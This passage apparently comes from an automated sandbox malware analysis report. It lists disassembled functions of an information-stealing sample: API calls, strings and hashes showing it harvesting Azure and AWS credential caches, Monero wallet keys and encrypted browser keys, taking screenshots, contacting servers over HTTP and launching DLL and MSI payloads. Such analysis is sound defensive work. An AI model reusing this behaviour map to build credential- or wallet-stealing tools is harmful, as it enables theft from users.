lstrlen.KERNEL32(00000000), ref: 00AFCE44
CloseHandle.KERNEL32(00000000), ref: 00AFCE9C

Strings

, xrefs: 00AFC9C6

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: e1a2da2e4a9f399e9740608af0bf93b856ecef79096a7270422614b14b371a3a
Instruction ID: cd438207a6eb784ad48a5e831fbf18edd32b340096e98d0f35e06444c44fcc61
Opcode Fuzzy Hash: e1a2da2e4a9f399e9740608af0bf93b856ecef79096a7270422614b14b371a3a
Instruction Fuzzy Hash: AEE1DF71910308ABDB15EBA4DD95FEEBBB8AF14300F408599F106B71D1EF346A4ACB61

Function 00B08320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

RegOpenKeyExA.ADVAPI32(00000000,018ABBD0,00000000,00020019,00000000,00B105B6), ref: 00B083A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B08426
wsprintfA.USER32 ref: 00B08459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B0847B
RegCloseKey.ADVAPI32(00000000), ref: 00B0848C
RegCloseKey.ADVAPI32(00000000), ref: 00B08499

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Strings

- , xrefs: 00B085A3
?, xrefs: 00B0837A
%s\%s, xrefs: 00B0844D

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: d40f2f8603e5b44a4fe8497d18c74f175350e1e8af1c2d63b45c83e8df3c3169
Instruction ID: b167b7e63a3f6a964770c656180754fb6810950f81491e67803d950101171ef4
Opcode Fuzzy Hash: d40f2f8603e5b44a4fe8497d18c74f175350e1e8af1c2d63b45c83e8df3c3169
Instruction Fuzzy Hash: F3811D719102189BDB24DB54CC95FEABBB8FF48700F0086D9E149A6190DF71AF85CFA1

Function 00B04D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00B04DCD

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

lstrcat.KERNEL32(?,00000000), ref: 00B04E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00B04E59

Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
Part of subcall function 00B04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
Part of subcall function 00B04910: FindClose.KERNEL32(000000FF), ref: 00B04B92

lstrcat.KERNEL32(?,00000000), ref: 00B04EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B04EE5

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049B0
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B108D2), ref: 00B049C5
Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049E2
Part of subcall function 00B04910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B04A1E
Part of subcall function 00B04910: lstrcat.KERNEL32(?,018AFC80), ref: 00B04A4A
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FF8), ref: 00B04A5C
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A70
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FFC), ref: 00B04A82
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A96
Part of subcall function 00B04910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B04AAC
Part of subcall function 00B04910: DeleteFileA.KERNEL32(?), ref: 00B04B31

Strings

Azure\.IdentityService, xrefs: 00B04EEB
Azure\.azure, xrefs: 00B04DD3
\.IdentityService\, xrefs: 00B04ED9
*.*, xrefs: 00B04E64
\.azure\, xrefs: 00B04DC1
*.*, xrefs: 00B04DD8
Azure\.aws, xrefs: 00B04E5F
\.aws\, xrefs: 00B04E4D
msal.cache, xrefs: 00B04EF0

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 571eb5efcdd462553d058d8fb7f1433a721eaec5cc375f2685f364ff518c9dae
Instruction ID: 0dc2a6bd7a27bdff939046b13c39aac6e6d5ac067cdcd1d81d25e910b252c865
Opcode Fuzzy Hash: 571eb5efcdd462553d058d8fb7f1433a721eaec5cc375f2685f364ff518c9dae
Instruction Fuzzy Hash: AD4195BAA5030867C750F770DC47FED37B8AB24700F4049D4B28AA61D1EEB597C98B92

Function 00B09010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B0906C

Strings

image/jpeg, xrefs: 00B09136

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 977ce9d36932740b5e164fd1b4ac2aac775d63085e66d025c48d580c860630ba
Instruction ID: 8016809851ec3676bc02ea2ac716fcd224c39c492f0efb9717218d56eb139c1d
Opcode Fuzzy Hash: 977ce9d36932740b5e164fd1b4ac2aac775d63085e66d025c48d580c860630ba
Instruction Fuzzy Hash: 1571CEB5A10308ABDB04DBE8DD89FEEBBB8BB48700F108548F655E7290DB759905CB61

Function 00B02E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

ShellExecuteEx.SHELL32(0000003C), ref: 00B031C5
ShellExecuteEx.SHELL32(0000003C), ref: 00B0335D
ShellExecuteEx.SHELL32(0000003C), ref: 00B034EA

Strings

/i ", xrefs: 00B033E4
C:\Windows\system32\rundll32.exe, xrefs: 00B03332
/passive, xrefs: 00B0345B
"" , xrefs: 00B0309A
.msi, xrefs: 00B03398
<, xrefs: 00B03490
C:\Windows\system32\msiexec.exe, xrefs: 00B034BF
.dll, xrefs: 00B031E5

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 5be7483d867183b9dba93853be4095e7091036ffb852d4772d06e274213dd233
Instruction ID: 9fa2e7be85eaa226c4bac62a6ae09e47510b6bc47859a862c555ee00d756d0a4
Opcode Fuzzy Hash: 5be7483d867183b9dba93853be4095e7091036ffb852d4772d06e274213dd233
Instruction Fuzzy Hash: F312ED719103089ADB05FBA0DD92FDEBBB8AF24300F5085D9E506761D1EF746B4ACB62

Function 00B052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF6280: InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
Part of subcall function 00AF6280: StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF6303
Part of subcall function 00AF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
Part of subcall function 00AF6280: HttpOpenRequestA.WININET(00000000,GET,?,018AF500,00000000,00000000,00400100,00000000), ref: 00AF6385
Part of subcall function 00AF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
Part of subcall function 00AF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05318
lstrlen.KERNEL32(00000000), ref: 00B0532F

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00B05364
lstrlen.KERNEL32(00000000), ref: 00B05383
lstrlen.KERNEL32(00000000), ref: 00B053AE

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

ERROR, xrefs: 00B053B9
ERROR, xrefs: 00B0530A
ERROR, xrefs: 00B05432
ERROR, xrefs: 00B054A9
ERROR, xrefs: 00B0546F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 27b1d6ab9d7d79810680b6aef0bf566d314c07ff786a4b183468bf9a1d1dbe46
Instruction ID: 93cfe9ad2c223db70a784705ba3ace83237d8a9ff6d11d01dafc560fdcca31b9
Opcode Fuzzy Hash: 27b1d6ab9d7d79810680b6aef0bf566d314c07ff786a4b183468bf9a1d1dbe46
Instruction Fuzzy Hash: 4751FB709102489BCB14EF64CD96FEE7BB9EF14301F508898F506AA5D1EF34AB45CB62

Function 00B012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: dbbaff060f0de59fd1315cbabd59a011a26639c0050baf1e18143398baff8309
Instruction ID: 58ae037bfce5b0ae74362fefb283299965325349d8528e0ef4b674b7c6ff7fc4
Opcode Fuzzy Hash: dbbaff060f0de59fd1315cbabd59a011a26639c0050baf1e18143398baff8309
Instruction Fuzzy Hash: C8C169B5A002199BCB14EF64DC89FDA77B8BB64304F1045D9F50AA72C1DB70EA85CFA1

Function 00B04280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B042EC
lstrcat.KERNEL32(?,018AF3E0), ref: 00B0430B
lstrcat.KERNEL32(?,?), ref: 00B0431F
lstrcat.KERNEL32(?,018AD7F0), ref: 00B04333

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08D90: GetFileAttributesA.KERNEL32(00000000,?,00AF1B54,?,?,00B1564C,?,?,00B10E1F), ref: 00B08D9F

Part of subcall function 00AF9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AF9D39

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B093C0: GlobalAlloc.KERNEL32(00000000,00B043DD,00B043DD), ref: 00B093D3

StrStrA.SHLWAPI(?,018AF350), ref: 00B043F3
GlobalFree.KERNEL32(?), ref: 00B04512

Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
Part of subcall function 00AF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
Part of subcall function 00AF9AC0: LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

lstrcat.KERNEL32(?,00000000), ref: 00B044A3
StrCmpCA.SHLWAPI(?,00B108D1), ref: 00B044C0
lstrcat.KERNEL32(00000000,00000000), ref: 00B044D2
lstrcat.KERNEL32(00000000,?), ref: 00B044E5
lstrcat.KERNEL32(00000000,00B10FB8), ref: 00B044F4

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 67f9890dd4bef2c972ed8a92cc53072a8dc0ddb495a52b7c6f09d08c238d0a17
Instruction ID: fa8e5c68874576f85c0868160b0eed679bb71d4b40204a9eba935b70d47dbb76
Opcode Fuzzy Hash: 67f9890dd4bef2c972ed8a92cc53072a8dc0ddb495a52b7c6f09d08c238d0a17
Instruction Fuzzy Hash: BD7144B6A00208ABDB14FBA4DC85FEE77B9AB48300F0045D8F64597191EB75DB49CFA1

Function 00AF1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AF12B4
Part of subcall function 00AF12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00AF12BB
Part of subcall function 00AF12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00AF12D7
Part of subcall function 00AF12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AF12F5
Part of subcall function 00AF12A0: RegCloseKey.ADVAPI32(?), ref: 00AF12FF

lstrcat.KERNEL32(?,00000000), ref: 00AF134F
lstrlen.KERNEL32(?), ref: 00AF135C
lstrcat.KERNEL32(?,.keys), ref: 00AF1377

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,018AEBF0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00AF1465

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

DeleteFileA.KERNEL32(00000000), ref: 00AF14EF

Strings

wallet_path, xrefs: 00AF1330
SOFTWARE\monero-project\monero-core, xrefs: 00AF1335
\Monero\wallet.keys, xrefs: 00AF138D
.keys, xrefs: 00AF136B

Memory Dump Source

